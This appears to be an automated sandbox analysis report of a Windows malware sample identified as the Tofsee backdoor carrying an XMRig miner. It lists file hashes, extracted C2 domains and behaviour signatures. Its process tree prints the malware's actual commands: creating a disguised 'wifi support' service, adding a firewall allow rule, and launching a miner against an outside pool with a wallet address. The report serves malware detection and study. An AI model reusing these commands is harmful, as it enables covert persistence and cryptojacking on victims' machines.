Analysis

  • max time kernel
    148s
  • max time network
    168s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2023, 07:04

General

  • Target

    file.exe

  • Size

    249KB

  • MD5

    0e7c0372aa82d019c894815d14caa6b8

  • SHA1

    a89c52ed348b75c864967de9b5fca6a5e3667015

  • SHA256

    8feb4ad22d2cd7ac7d59458223b6035ceccb7a1a177208582cb44b65d0ca7eff

  • SHA512

    72271fc78e2f62f8f250de18e0f396812f39bda70503654a6922cdf2f550f78eb2f0dbee90f056fb157a9a41d11c8499dec56d3ad60eaffe51841aa26f7cb79d

  • SSDEEP

    3072:GXK8zyjB5AWS873nnq0+pNhy1BvfeGPe3XV0Qy/AX65G9CcPpDz1TZsktu1:ukl5nS87qbpNYBvdPehy/q93PpDhTx

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\lzslfytj\
      2⤵
        PID:2728
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\nlvwyuxd.exe" C:\Windows\SysWOW64\lzslfytj\
        2⤵
          PID:2644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create lzslfytj binPath= "C:\Windows\SysWOW64\lzslfytj\nlvwyuxd.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2756
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description lzslfytj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2620
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start lzslfytj
          2⤵
          • Launches sc.exe
          PID:2504
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2776
      • C:\Windows\SysWOW64\lzslfytj\nlvwyuxd.exe
        C:\Windows\SysWOW64\lzslfytj\nlvwyuxd.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2824
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2328

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\nlvwyuxd.exe

        Filesize

        14.5MB

        MD5

        3613715c31d5bb26bfde8f5a812b7242

        SHA1

        f54cd39ac8298f764b86fbf768ff6002cb2ffe4e

        SHA256

        5dac4d0703856cbbb258cc83eb18db198d0cab83f3336e98206d534792ecb8d4

        SHA512

        60860fded98eafe9776157b6b2043cad3b9e79f07e94d670c1b373129b4321fbaf5bf335af72225adaf58465e360e1a38418258d956d5b71843ea1e7dcecb717

      • C:\Windows\SysWOW64\lzslfytj\nlvwyuxd.exe

        Filesize

        14.5MB

        MD5

        3613715c31d5bb26bfde8f5a812b7242

        SHA1

        f54cd39ac8298f764b86fbf768ff6002cb2ffe4e

        SHA256

        5dac4d0703856cbbb258cc83eb18db198d0cab83f3336e98206d534792ecb8d4

        SHA512

        60860fded98eafe9776157b6b2043cad3b9e79f07e94d670c1b373129b4321fbaf5bf335af72225adaf58465e360e1a38418258d956d5b71843ea1e7dcecb717

      • memory/2124-0-0x00000000002B0000-0x00000000002C5000-memory.dmp

        Filesize

        84KB

      • memory/2124-1-0x00000000002D0000-0x00000000002E3000-memory.dmp

        Filesize

        76KB

      • memory/2124-2-0x0000000000400000-0x000000000044C000-memory.dmp

        Filesize

        304KB

      • memory/2124-5-0x0000000000400000-0x000000000044C000-memory.dmp

        Filesize

        304KB

      • memory/2124-7-0x00000000002B0000-0x00000000002C5000-memory.dmp

        Filesize

        84KB

      • memory/2124-6-0x00000000002D0000-0x00000000002E3000-memory.dmp

        Filesize

        76KB

      • memory/2328-75-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2328-74-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2328-73-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2328-72-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2328-71-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2328-70-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2328-69-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2328-65-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2328-61-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2328-60-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2508-39-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-48-0x0000000000120000-0x0000000000125000-memory.dmp

        Filesize

        20KB

      • memory/2508-31-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-34-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-35-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-36-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-37-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-38-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-33-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-40-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-42-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-41-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-43-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-44-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-45-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-47-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-46-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-32-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-51-0x0000000000120000-0x0000000000125000-memory.dmp

        Filesize

        20KB

      • memory/2508-52-0x00000000058A0000-0x0000000005CAB000-memory.dmp

        Filesize

        4.0MB

      • memory/2508-55-0x00000000058A0000-0x0000000005CAB000-memory.dmp

        Filesize

        4.0MB

      • memory/2508-56-0x0000000000140000-0x0000000000147000-memory.dmp

        Filesize

        28KB

      • memory/2508-28-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2508-25-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/2508-24-0x0000000001910000-0x0000000001B1F000-memory.dmp

        Filesize

        2.1MB

      • memory/2508-21-0x0000000001910000-0x0000000001B1F000-memory.dmp

        Filesize

        2.1MB

      • memory/2508-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2508-18-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2508-17-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2508-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2508-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2508-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2824-9-0x0000000000400000-0x000000000044C000-memory.dmp

        Filesize

        304KB

      • memory/2824-15-0x0000000000400000-0x000000000044C000-memory.dmp

        Filesize

        304KB